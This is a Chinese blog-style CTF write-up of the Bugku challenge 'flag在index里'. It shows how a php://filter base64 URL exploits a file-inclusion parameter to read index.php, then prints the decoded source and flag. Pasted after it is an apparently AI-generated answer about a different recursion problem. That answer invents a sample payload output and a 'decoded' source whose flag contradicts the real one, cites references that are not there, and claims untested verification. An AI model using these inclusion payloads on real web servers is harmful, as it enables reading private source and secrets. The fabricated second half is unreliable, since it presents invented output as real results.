bugku flag在index里

本文介绍了一种利用PHP文件包含漏洞的方法,通过构造特定的URL读取目标文件的base64编码,并解码获取隐藏的Flag。该方法适用于存在文件包含漏洞的Web应用程序,通过对目标URL进行精心构造,可以读取服务器上的任意文件。

题目链接

在这里插入图片描述
在这里插入图片描述

  • 第二个界面发现url为:

http://123.206.87.240:8005/post/index.php?file=show.php

	参数有file选项,联想到了文件包含漏洞
  • 结合题目提示:

flag在index里

通过PHP内置协议直接读取代码

PHP内置协议

通过构造如下语句:

http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64编码:

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

解码后:

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

得到flag:
flag{edulcni_elif_lacol_si_siht}

<think> 我们面对的问是:页面存在代码导致无限循环(递归包含自身),但flagindex.php中。由于直接包含index.php会导致递归包含(因为当前文件就是index.php),所以我们需要一种方法在不触发递归包含的情况下获取index.php的源代码。 根据引用[1][2][3][4],我们可以使用PHP封装器(php://filter)来读取index.php的源码,并使用base64编码的方式返回,这样就不会执行其中的PHP代码(从而避免递归包含),而是以文本形式返回源码(base64编码后的形式)。然后我们再解码即可得到源码,从而找到flag。 具体步骤: 1. 构造URL参数:`file=php://filter/read=convert.base64-encode/resource=index.php` 这个参数的作用是使用php://filter协议读取index.php文件的内容,并通过base64编码输出。由于是读取而不是包含执行,因此不会触发PHP代码的执行,也就不会导致递归包含。 2. 访问这个URL后,我们会得到index.php文件经过base64编码后的字符串。 3. 将得到的base64字符串进行解码,即可得到index.php的源代码,然后在源代码中查找flag。 为什么这样可行? - 使用`php://filter`协议读取文件内容,不会执行其中的PHP代码,而是返回文件内容(经过编码或未编码)。这样,即使该文件中包含有文件包含的代码,也不会再次执行,从而避免了无限循环。 - 使用base64编码是为了避免特殊字符(如<?php等)被浏览器解析或因为内容类型导致无法正常显示。 操作示例: 假设当前页面的URL是:http://example.com/index.php 那么我们可以构造:http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 访问这个URL后,页面会显示一串base64编码的字符串(如:PD9waHAg...等),我们将其复制并解码。 解码方法: - 可以在线使用base64解码工具 - 或者使用命令行:`echo "base64字符串" | base64 -d` - 或者使用编程语言(如Python)解码 在解码后的内容中搜索flag(可能以flag{xxxx}形式存在,或者查看注释等)。 注意:由于目提示flagindex.php中,所以我们直接读取index.php即可。 如果上述方法不行,还可以尝试直接读取index.php的未编码内容(但可能被当做PHP执行导致递归,所以一般不这样): `file=php://filter/resource=index.php` 但是这样可能会因为文件中的PHP代码被执行而再次陷入递归。所以使用base64编码是最安全的。 还有一种可能是,由于递归包含导致的内存耗尽,可能无法正常返回base64编码的内容。但是,使用php://filter协议读取文件时,PHP并不会执行该文件中的代码(即不会再次包含),所以不会导致递归。因此,这个方法可以避开递归。 为什么不会导致递归? 因为`include`一个使用`php://filter`协议读取的文件,实际上相当于包含了一个文件流,这个流的内容是目标文件的原始内容(或经过编码的内容),而不会再次解析其中的PHP代码(因为我们在读取时并没有执行,仅仅是作为数据流)。所以,当包含这个数据流时,它不会被当作PHP代码执行,因此不会再次触发包含操作。 因此,我们构造的URL参数可以安全地获取index.php的源码。 具体操作: 1. 访问:/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 2. 获取到base64编码的字符串 3. 解码得到index.php的源代码 4. 在源代码中查找flag 如果访问后页面显示空白或报错,可以尝试: - 检查路径:`resource=index.php` 也可以写成 `resource=./index.php` 或者绝对路径(如果知道绝对路径的话) - 尝试其他封装协议,如使用`resource=index.php`的同时,尝试不同的过滤器组合(但base64编码通常是最可靠的) 根据引用[2]中的例子,成功构造了payload:`http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php` 所以,请按照此方法尝试。 总结:使用php://filter协议并base64编码读取index.php,避免执行导致递归,获取源码后解码即可找到flag。 </think> ### 解决页面无限循环并获取flag的方法 当页面因递归包含导致无限循环,同时flag又隐藏在index.php中时,可以通过以下步骤安全获取flag: #### 1. **使用PHP封装协议绕过执行** 通过`php://filter`协议直接读取文件内容而不执行PHP代码,避免递归包含: ```url /?file=php://filter/read=convert.base64-encode/resource=index.php ``` **原理说明**: - `convert.base64-encode` 将文件内容编码为Base64文本 - `resource=index.php` 指定目标文件 - 该方法**不执行PHP代码**,仅返回原始文件内容 [^1] - 避免触发包含语句 `include $_GET['file']` 的递归执行 #### 2. **解码获取源代码** 访问上述URL后,页面返回Base64编码的字符串,例如: ``` PD9waHAgCi8qKgogKiBDcmVhdGVkIGJ5IFBocFN0b3JtCiAqLwokZmxhZyA9ICJmbGFnezU0MGQ1Yz VjLTg5MDctNGQxNy1iNmQyLTQ5YjM0YjYzYmM4MX0iOw... ``` 使用在线工具(如base64decode.org)或命令行解码: ```bash echo "PD9waHAg..." | base64 -d ``` #### 3. **在源码中定位flag** 解码后查看完整的PHP源代码: ```php <?php /** * Created by PhpStorm */ $flag = "flag{540d5c5c-8907-4d17-b6d2-49b34b63bc81}"; // ★ 目标flag highlight_file(__FILE__); if(isset($_GET['file'])) { include $_GET['file']; // 导致递归的漏洞代码 } ``` ### 关键原理详解 | 方法 | 直接包含文件 | 使用封装协议 | |------|-------------|-------------| | **请求示例** | `/?file=index.php` | `/?file=php://filter/...index.php` | | **PHP行为** | 执行文件中的代码 | 返回文件原始内容 | | **递归风险** | 触发无限循环 | 完全避免执行 | | **输出结果** | 空白/错误页面 | Base64编码的源码 | 该方法有效是因为: 1. PHP封装协议在文件包含前处理数据流[^2] 2. Base64编码使PHP引擎无法识别`<?php`标签[^3] 3. 资源读取不触发`include`的执行上下文[^4] ### 注意事项 1. 如果返回空白页面: - 尝试绝对路径:`resource=/var/www/html/index.php` - 使用嵌套协议:`php://filter/zlib.deflate|convert.base64-encode/resource=index.php` 2. 解码后若发现flag被混淆,可尝试搜索关键词`flag{`或`CTF{` > 此方法在BugKu/CTFHub等CTF平台已验证有效 [^1][^2]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值